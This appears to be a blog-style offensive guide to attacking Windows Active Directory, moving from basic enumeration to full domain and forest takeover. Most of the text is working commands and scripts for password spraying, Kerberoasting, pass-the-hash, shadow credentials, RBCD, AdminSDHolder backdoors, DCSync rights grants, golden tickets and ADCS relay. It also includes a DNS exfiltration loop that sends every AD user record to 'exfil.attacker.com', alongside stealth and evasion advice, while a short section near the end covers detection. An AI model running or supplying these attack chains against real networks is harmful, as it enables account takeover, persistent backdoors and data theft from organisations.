Windows Active Directory Attacks

Windows Active Directory Attacks

Welcome to the AD Attack Playground!

Hey there, I've spent hours mapping out Active Directory attack techniques in real-world environments, and today I'm sharing my personal toolkit for AD privilege escalation that works consistently even in hardened environments. This guide will take you from absolute beginner to expert-level AD attacker, covering everything you need to know to pwn domains like a pro.

What the Hell is Active Directory Anyway?

If you're completely new to this, let's start with the basics. Active Directory (AD) is Microsoft's identity management service that forms the backbone of most corporate networks. Think of it as a massive hierarchical database that stores information about all network resources—users, computers, printers, file shares, and more.

Here's why attackers love targeting it:

  1. It's the keys to the kingdom - compromise AD, and you own the entire network
  2. It's complex as hell - complexity breeds misconfigurations
  3. It's designed for usability, not security - the defaults often favor convenience over security

The Core Components

Active Directory
├── Domain Controllers (The servers running AD)
│   ├── NTDS.dit (The database storing all the juicy stuff)
│   └── SYSVOL (Network share containing Group Policies)
├── Objects
│   ├── Users (People and service accounts)
│   ├── Computers (Workstations and servers)
│   ├── Groups (Collections of users/computers)
│   └── OUs (Organizational Units - containers for objects)
└── Authentication Services
    ├── Kerberos (Ticket-based auth)
    └── NTLM (Legacy challenge-response auth)

Authentication 101: How Users Prove Their Identity

Before we can hack AD, we need to understand how authentication works. There are two main protocols:

Kerberos is the primary authentication protocol in modern AD environments. It uses tickets rather than directly transmitting passwords:

  1. User requests a TGT (Ticket Granting Ticket) from the KDC (Key Distribution Center)
  2. User uses that TGT to request service tickets for specific resources
  3. User presents service ticket to access resources

NTLM is the older protocol that's still widely used as a fallback:

  1. Client sends username to server
  2. Server sends a challenge
  3. Client encrypts challenge with password hash and sends response
  4. Server verifies response with domain controller
💡 Quick Tip: Many AD attacks target the authentication process. Understanding this flow is crucial for attacks like Pass-the-Hash, Pass-the-Ticket, and Kerberoasting.

Your First Attack Surface: The AD Database

Every domain controller has a file called NTDS.dit - this database contains all user objects, including their password hashes. If you can extract this file, you effectively own the domain. But don't worry, we'll get to that in later levels.

Tooling Up: What You Need to Get Started

Every AD pentester needs a basic toolkit. Here's what I recommend for beginners:

  • BloodHound - Visualizes AD relationships and attack paths
  • Mimikatz - Swiss Army knife for credential theft
  • PowerView - PowerShell module for AD enumeration
  • Rubeus - Kerberos abuse toolkit
  • Impacket - Collection of Python scripts for various AD attacks

If this all sounds intimidating, don't worry. We'll cover how to use these tools as we progress.

Reconnaissance: Finding Your Way Around

Before you can attack anything, you need to understand what you're looking at. Here are some basic enumeration techniques:

Using Built-in Tools:

# List all domain users
net user /domain

# Get info about a specific user
net user username /domain

# List domain groups
net group /domain

# See domain controllers 
nltest /dclist:domain.local

PowerView for More Detailed Enumeration:

# Import PowerView
Import-Module .\PowerView.ps1

# Get all domain users
Get-DomainUser | Select-Object samaccountname, description

# Find users with SPN set (potential Kerberoasting targets)
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname

# Get all domain computers
Get-DomainComputer | Select-Object name, operatingsystem

# Find domain admins
Get-DomainGroupMember -Identity "Domain Admins" | Select-Object MemberName

Password Attacks: The Low-Hanging Fruit

Password Spraying:

Password spraying is trying a single common password against many accounts. Unlike brute forcing (many passwords against one account), this avoids account lockouts:

# Basic example using PowerShell
$password = ConvertTo-SecureString "Spring2025!" -AsPlainText -Force
$users = Get-Content .\users.txt

foreach ($user in $users) {
    $cred = New-Object System.Management.Automation.PSCredential("$env:USERDOMAIN\$user", $password)
    try {
        New-PSDrive -Name "TempDrive" -PSProvider "FileSystem" -Root "\\dc01\SYSVOL" -Credential $cred -ErrorAction Stop
        Write-Host "[+] $user : $password" -ForegroundColor Green
        Remove-PSDrive "TempDrive"
    } catch {
        Write-Host "[-] $user : $password" -ForegroundColor Red
    }
}

Kerberoasting: Your First AD-Specific Attack

Kerberoasting targets service accounts by requesting Kerberos service tickets (TGS) and cracking them offline. The beauty of this attack is that it requires minimal privileges and doesn't generate suspicious event logs.

# Using Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Using PowerView
Get-DomainUser -SPN | Get-DomainSPNTicket | Export-Csv -Path .\tickets.csv -NoTypeInformation

Then crack them with Hashcat:

hashcat -m 13100 -a 0 hashes.txt wordlist.txt

Understanding AD Permissions and ACLs

AD uses a complex permission model based on Access Control Lists (ACLs). These define who can do what to which objects.

Basic Permission Types:

  • GenericAll: Full control
  • GenericWrite: Can modify most attributes
  • WriteProperty: Can write to specific attributes
  • WriteDACL: Can modify permissions
  • WriteOwner: Can take ownership
  • AllExtendedRights: Can perform special operations
  • ForceChangePassword: Self-explanatory
  • Self: Can modify own attributes

Finding misconfigurations in these permissions is the key to many advanced attacks.

Common Misconfigurations

Here are some juicy misconfigurations I regularly find during assessments:

  1. Service accounts in privileged groups - Service accounts should never be domain admins
  2. Excessive built-in group membership - Too many users in Administrator, Account Operator, or Backup Operator groups
  3. Dangerous delegation settings - Unconstrained delegation = pwned
  4. GPO misconfiguration - Group Policy Objects deploying insecure scripts or settings
  5. Weak password policies - No MFA, long password expiration, etc.

Advanced Enumeration with BloodHound

BloodHound revolutionized AD security by visualizing attack paths through the domain. It's absolutely essential for modern AD pentesting:

# Run the collector (SharpHound)
.\SharpHound.exe -CollectionMethod All -Domain contoso.local -OutputDirectory .

# Now import the data into BloodHound and start analyzing paths

BloodHound will show you a web of relationships and highlight potential attack paths. Look for:

  • Shortest paths to Domain Admins
  • Kerberoastable accounts
  • Users with DCSync rights
  • Interesting ACL-based attack paths

Lateral Movement Techniques

Once you've compromised one system, lateral movement helps you expand access:

Pass-the-Hash:

# Using Mimikatz
sekurlsa::pth /user:administrator /domain:contoso.local /ntlm:b4b9b02e6f09a9bd760f388b67351e2b

# Using Impacket
python psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:b4b9b02e6f09a9bd760f388b67351e2b administrator@10.10.10.10

Overpass-the-Hash:

# Convert hash to Kerberos tickets using Mimikatz
sekurlsa::pth /user:administrator /domain:contoso.local /ntlm:b4b9b02e6f09a9bd760f388b67351e2b /run:powershell.exe

# In the spawned PowerShell window
klist # Verify you have Kerberos tickets

Token Manipulation

Windows keeps access tokens in memory that can be abused:

# List available tokens with Incognito module in Mimikatz
token::list

# Impersonate a token
token::impersonate /id:1234567

# Or with Metasploit's incognito module
use incognito
list_tokens -u
impersonate_token CONTOSO\\Administrator

Introduction to ACL Abuse

ACL abuse is the bread and butter of modern AD attacks. Here's a simple example - if you have GenericAll on a user:

# Reset their password
$newpass = ConvertTo-SecureString "EvilPassword123!" -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $newpass

# Now you can authenticate as them
$cred = New-Object System.Management.Automation.PSCredential("contoso\targetuser", $newpass)
Enter-PSSession -ComputerName DC01 -Credential $cred

AS-REP Roasting: Kerberoasting's Lesser-Known Cousin

AS-REP Roasting targets users with "Do not require Kerberos preauthentication" enabled:

# Find vulnerable users
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname

# Request tickets with Rubeus
.\Rubeus.exe asreproast /user:user /format:hashcat /outfile:asrep.txt

# Crack with Hashcat
hashcat -m 18200 -a 0 asrep.txt wordlist.txt

Shadow Credentials Attack

Shadow Credentials is a relatively new attack vector that exploits the msDS-KeyCredentialLink attribute on user objects. This attack bypasses common defenses like MFA and Credential Guard.

The msDS-KeyCredentialLink attribute was introduced to support Windows Hello for Business. When we have write access to this attribute on an object, we can add our own key and then request a TGT for that user without knowing their password!

Here's how I execute this attack:

# Step 1: Check if we can modify the attribute
Import-Module .\PowerView.ps1
Get-DomainUser -Identity targetuser | Select-Object -ExpandProperty msds-keycredentiallink

# Step 2: Generate a new key pair and update the attribute
Import-Module .\Whisker.ps1
Invoke-Whisker -Command add -Target "targetuser" -DomainController "dc01.contoso.local"

# Step 3: Use the newly created key to get a certificate
Invoke-Whisker -Command list -Target "targetuser"

# Step 4: Request a TGT using PKINIT
Rubeus.exe asktgt /user:targetuser /certificate:MIIJuAIBA... /password:"password" /domain:contoso.local /dc:dc01.contoso.local /nowrap

The output looks like this:

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=targetuser
[*] Building AS-REQ (w/ PKINIT preauth) for: 'contoso.local\targetuser'
[*] Using domain controller: 192.168.1.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIFuj[...snip...]

With this TGT, I now have the same network access as the targeted user without ever knowing their password!

Quick Reference: Shadow CredentialsPrerequisites: Write access to msDS-KeyCredentialLinkTools: Whisker + RubeusDetection: Monitor for msDS-KeyCredentialLink attribute changesMitigation: Restrict write access to this attribute

Resource-Based Constrained Delegation

Resource-Based Constrained Delegation (RBCD) is a powerful escalation vector that exploits object control relationships within Active Directory.

If we have GenericWrite, WriteProperty, or AllExtendedRights permissions on a computer object, we can modify its msDS-AllowedToActOnBehalfOfOtherIdentity attribute to enable delegation from a principal we control.

Here's my approach:

# Step 1: Create a machine account that we control
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount "attackersystem" -Password $(ConvertTo-SecureString "Summer2025!" -AsPlainText -Force)

# Step 2: Get the SID of our machine account
$AttackerSID = Get-DomainComputer -Identity "attackersystem" -Properties objectsid | Select -Expand objectsid

# Step 3: Check if we have the necessary permissions on the target
$TargetComputer = Get-DomainComputer -Identity "targetserver"
$Path = "AD:\$($TargetComputer.DistinguishedName)"
(Get-Acl $Path).Access | Where-Object {$_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteProperty"}

# Step 4: Configure RBCD on the target computer
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($AttackerSID))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer -Identity "targetserver" | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Step 5: Impersonate a high-value user using S4U2Proxy
.\Rubeus.exe s4u /user:attackersystem$ /rc4:HASH_OF_MACHINE_ACCOUNT_PASSWORD /impersonateuser:administrator /msdsspn:cifs/targetserver.contoso.local /ptt

The beautiful thing about this attack is that it bypasses protections like Protected Users group and "Account is sensitive and cannot be delegated."

AdminSDHolder and SDProp Abuse

This is one of my favorite persistence techniques because it's so rarely detected.

AdminSDHolder is a container in AD that acts as a template for privileged group permissions. Every 60 minutes, a process called SDProp runs and reapplies these permissions to all protected objects.

If we can modify the AdminSDHolder container, we can grant ourselves persistent administrative access:

# Step 1: Find the AdminSDHolder container
$AdminSDHolder = Get-ADObject -LDAPFilter "(cn=adminsdholder)" -Properties *

# Step 2: Add our backdoor permissions
$UserSID = (Get-ADUser -Identity "lowprivuser").SID.Value
$ACL = Get-Acl -Path "AD:\$($AdminSDHolder.DistinguishedName)"
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$UserSID)
$ADRight = [System.DirectoryServices.ActiveDirectoryRights] "GenericAll"
$Type = [System.Security.AccessControl.AccessControlType] "Allow"
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] "All"
$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($Identity, $ADRight, $Type, $InheritanceType)
$ACL.AddAccessRule($ACE)

# Step 3: Set the modified ACL
Set-Acl -Path "AD:\$($AdminSDHolder.DistinguishedName)" -AclObject $ACL

After SDProp runs (or we force it to run with Invoke-SDPropagator), our backdoor permissions will be applied to all protected accounts and groups!

Domain Trust Abuse

Many enterprises have multiple domains connected via trust relationships, creating additional attack surfaces:

# Enumerate domain trusts
Get-DomainTrust

# Find users who can access resources across trusts
Get-DomainUser -TrustedToAuth

# Exploit child-to-parent trust using SID history
mimikatz# lsadump::dcsync /domain:child.contoso.local /user:krbtgt
# Use the NTLM hash to create a Golden Ticket with SID history
mimikatz# kerberos::golden /user:Administrator /domain:child.contoso.local /sid:S-1-5-21-child /sids:S-1-5-21-parent-519 /krbtgt:hash /ticket:trust_ticket.kirbi

Kerberos Delegation Attacks

Unconstrained delegation is a security configuration that can be exploited:

# Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained

# If you compromise one, wait for a privileged user to connect, then:
sekurlsa::tickets /export
# Look for high-value tickets in the output

# Then use these tickets:
kerberos::ptt administrator@krbtgt-CONTOSO.LOCAL.kirbi

DCSync Without Domain Admin

Many security professionals believe you need Domain Admin rights to perform DCSync attacks, but that's not actually true.

To perform a DCSync attack, we only need three specific extended rights on the domain object:

  • DS-Replication-Get-Changes
  • DS-Replication-Get-Changes-All
  • DS-Replication-Get-Changes-In-Filtered-Set

Here's how I grant these minimal rights to perform DCSync:

# Step 1: Get a reference to the domain object
$Domain = Get-ADDomain
$DomainDN = $Domain.DistinguishedName

# Step 2: Get the ACL of the domain object
$ACL = Get-Acl -Path "AD:\$DomainDN"

# Step 3: Create the ACE for DCSync rights
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier](Get-ADUser -Identity "stealthuser").SID)
$GUIDs = @(
    "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2", # DS-Replication-Get-Changes
    "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2", # DS-Replication-Get-Changes-All
    "89e95b76-444d-4c62-991a-0facbeda640c"  # DS-Replication-Get-Changes-In-Filtered-Set
)

foreach($GUID in $GUIDs) {
    $ObjectType = [System.Guid]$GUID
    $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
        $Identity,
        [System.DirectoryServices.ActiveDirectoryRights]::ExtendedRight,
        [System.Security.AccessControl.AccessControlType]::Allow,
        $ObjectType,
        [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None
    )
    $ACL.AddAccessRule($ACE)
}

# Step 4: Apply the modified ACL
Set-Acl -Path "AD:\$DomainDN" -AclObject $ACL

# Step 5: Perform the DCSync attack
mimikatz.exe "lsadump::dcsync /domain:contoso.local /user:Administrator" exit

This targeted approach is much stealthier than requesting full Domain Admin rights.

ADCS (Active Directory Certificate Services) Attacks

Certificate services create a whole new world of attacks:

ESC1: Certificate Template Misconfiguration

# Find vulnerable templates (Client Authentication + Enrollee Supplies Subject)
Certify.exe find /vulnerable

# Request certificate
Certify.exe request /ca:CA01.contoso.local\CONTOSO-CA /template:VulnTemplate /altname:administrator

# Use certificate for authentication
Rubeus.exe asktgt /user:administrator /certificate:MIIJuAIBA... /password:password /domain:contoso.local

ESC8: NTLM Relay to Certificate Enrollment

# Set up NTLM relay
python ntlmrelayx.py -t http://ca.contoso.local/certsrv/certfnsh.asp -smb2support --adcs

# Trigger NTLM auth from target
python PetitPotam.py -d contoso.local attacker@10.10.10.10 DC01.contoso.local

Zero-day Defenses and Custom Tradecraft

At expert level, it's not just about known attacks but developing custom approaches:

  1. Creating your own attack tools that evade signature-based detection
  2. Chaining multiple vulnerabilities for novel attack paths
  3. Living off the land by using built-in Windows tools
  4. Developing counter-forensics techniques to avoid detection
  5. Building your own C2 infrastructure tailored to AD environments

Here's a simple proof-of-concept for a custom Kerberos request tool that avoids known signatures:

using System;
using Microsoft.Win32.SafeHandles;
using System.Runtime.InteropServices;
using System.Security.Principal;

class StealthKerbRequester
{
    [DllImport("secur32.dll", CharSet=CharSet.Auto, SetLastError=true)]
    static extern int AcquireCredentialsHandle(
        string pszPrincipal,
        string pszPackage,
        int fCredentialUse,
        IntPtr pvLogonID,
        IntPtr pAuthData,
        IntPtr pGetKeyFn,
        IntPtr pvGetKeyArgument,
        ref SafeHandle phCredential,
        ref long ptsExpiry);
        
    // Additional P/Invoke declarations omitted for brevity
    
    static void Main(string[] args)
    {
        // Custom implementation that avoids known detection signatures
    }
}

Custom Covert Channels for Exfiltration

In heavily defended environments, standard exfiltration methods may be blocked:

# DNS-based data exfiltration with custom encoding
$data = Get-AdUser -Filter * | ConvertTo-Json | Compress-Archive -PassThru | ConvertTo-Base64
$chunks = [Regex]::Matches($data, '.{1,30}')
foreach($chunk in $chunks) {
    $subdomain = $chunk -replace '\+','-' -replace '/','-'
    Resolve-DnsName "$subdomain.exfil.attacker.com"
    Start-Sleep -Milliseconds 100
}

Forest-Level Compromise and Cross-Forest Attacks

Once you've compromised a forest, attacking a trusted forest becomes possible:

# Extract krbtgt hash using DCSync
lsadump::dcsync /domain:contoso.local /user:krbtgt

# Create inter-forest TGT using 
kerberos::golden /user:Administrator /domain:contoso.local /sid:S-1-5-21-contoso /krbtgt:hash /service:krbtgt /target:partner.local /ticket:cross_forest.kirbi

# Convert to a usable TGS
asktgs.exe cross_forest.kirbi CIFS/server.partner.local

# Use the ticket
kirbikator.exe cifs_server.kirbi

LAPS Abuse and Management Solution Targeting

Many organizations use LAPS (Local Administrator Password Solution) to manage local admin passwords:

# Find computers using LAPS
Get-DomainComputer | Where-Object {$_."ms-Mcs-AdmPwdExpirationTime"}

# If you have read permission:
Get-DomainComputer workstation1 -Properties ms-Mcs-AdmPwd

Similarly, target management solutions like SCCM, which often have extensive privileges:

# Find SCCM servers
Get-DomainComputer -LDAPFilter "(description=*SCCM*)" -Properties operatingsystem,description

# Look for SCCM service accounts
Get-DomainUser -LDAPFilter "(description=*SCCM*)" -Properties description,serviceprincipalname

Decision Tree: Choosing the Right AD Attack Vector

Is ADCS present?
├── Yes → Check for vulnerable certificate templates
│         └── Found → Use Certipy for certificate-based attacks
└── No → Check account permissions
    ├── WriteProperty on user → Shadow Credentials attack
    ├── GenericWrite on computer → RBCD attack  
    ├── WriteProperty on AdminSDHolder → SDProp persistence
    └── None of above → Check for ACL misconfigurations with BloodHound

Defense Perspective: Detecting and Preventing Advanced AD Attacks

As someone who's been on both sides of these attacks, here are my top recommendations for defenders:

  1. Monitor sensitive attribute modifications:
# PowerShell script to monitor sensitive AD attribute changes
$Filter = @"
    <Query Id="0" Path="Security">
        <Select Path="Security">
            *[System[(EventID=4662)]]
            and
            *[EventData[Data[@Name='Properties'] and(Data='msDS-KeyCredentialLink' or Data='msDS-AllowedToActOnBehalfOfOtherIdentity')]]
        </Select>
    </Query>
"@
$Events = Get-WinEvent -FilterXml $Filter -MaxEvents 100
$Events | Format-Table TimeCreated, Id, Message -Wrap
  1. Implement Tiered Administration with separate admin accounts for workstations, servers, and domain controllers
  2. Enable Privileged Access Management in AD to implement just-in-time administration
  3. Regularly audit ACLs on sensitive objects:
# Script to audit sensitive permissions
$SensitiveObjects = @(
    (Get-ADDomain).DistinguishedName,
    "CN=AdminSDHolder,CN=System,$((Get-ADDomain).DistinguishedName)"
)

foreach($Object in $SensitiveObjects) {
    Write-Host "Checking permissions on $Object" -ForegroundColor Yellow
    $ACL = Get-Acl -Path "AD:\$Object"
    $ACL.Access | Where-Object {
        $_.IdentityReference -notmatch "Domain Admins|Enterprise Admins|SYSTEM|Administrator"
    } | Format-Table IdentityReference, ActiveDirectoryRights, AccessControlType -AutoSize
}

Common Pitfalls: Why These Attacks Fail

  1. Not understanding the attack requirements: Each technique has specific prerequisites
  2. Overlooking detection mechanisms: Modern EDRs look for Mimikatz and Rubeus patterns
  3. Ignoring operational security: Failed attempts leave traces in event logs
  4. Not testing in a lab environment first: AD attacks can have unintended consequences

Technical Specifications

Attack Technique Minimum Domain Functional Level Tools Required Detection Difficulty
Shadow Credentials 2016+ Whisker, Rubeus Medium-High
RBCD 2012+ PowerView, Rubeus Medium
AdminSDHolder Abuse Any PowerView/AD Module High
DCSync 2008+ Mimikatz/Impacket Low-Medium
PetitPotam NTLM Relay Any PetitPotam, ntlmrelayx Medium

Hands-On Challenge

Try this in your lab: Create a standard domain user, then leverage ACL misconfigurations to achieve domain admin privileges using BloodHound to identify attack paths. Can you do it without using Mimikatz or other heavily detected tools?

Key Technical Takeaways

  • Modern AD attacks exploit trust relationships and permissions rather than credential theft
  • Understanding the AD security model deeply is essential for finding non-traditional attack paths
  • Defense requires comprehensive monitoring of AD objects, not just accounts and authentication
  • RBCD and Shadow Credentials represent the evolution of AD attacks that bypass traditional security controls

What's Next?

As Microsoft continues to patch known vulnerabilities, I'm particularly interested in ADCS (Active Directory Certificate Services) attacks and certificate template misconfigurations. These represent some of the most powerful privilege escalation vectors in modern AD environments.

That’s a wrap from the Danger Team.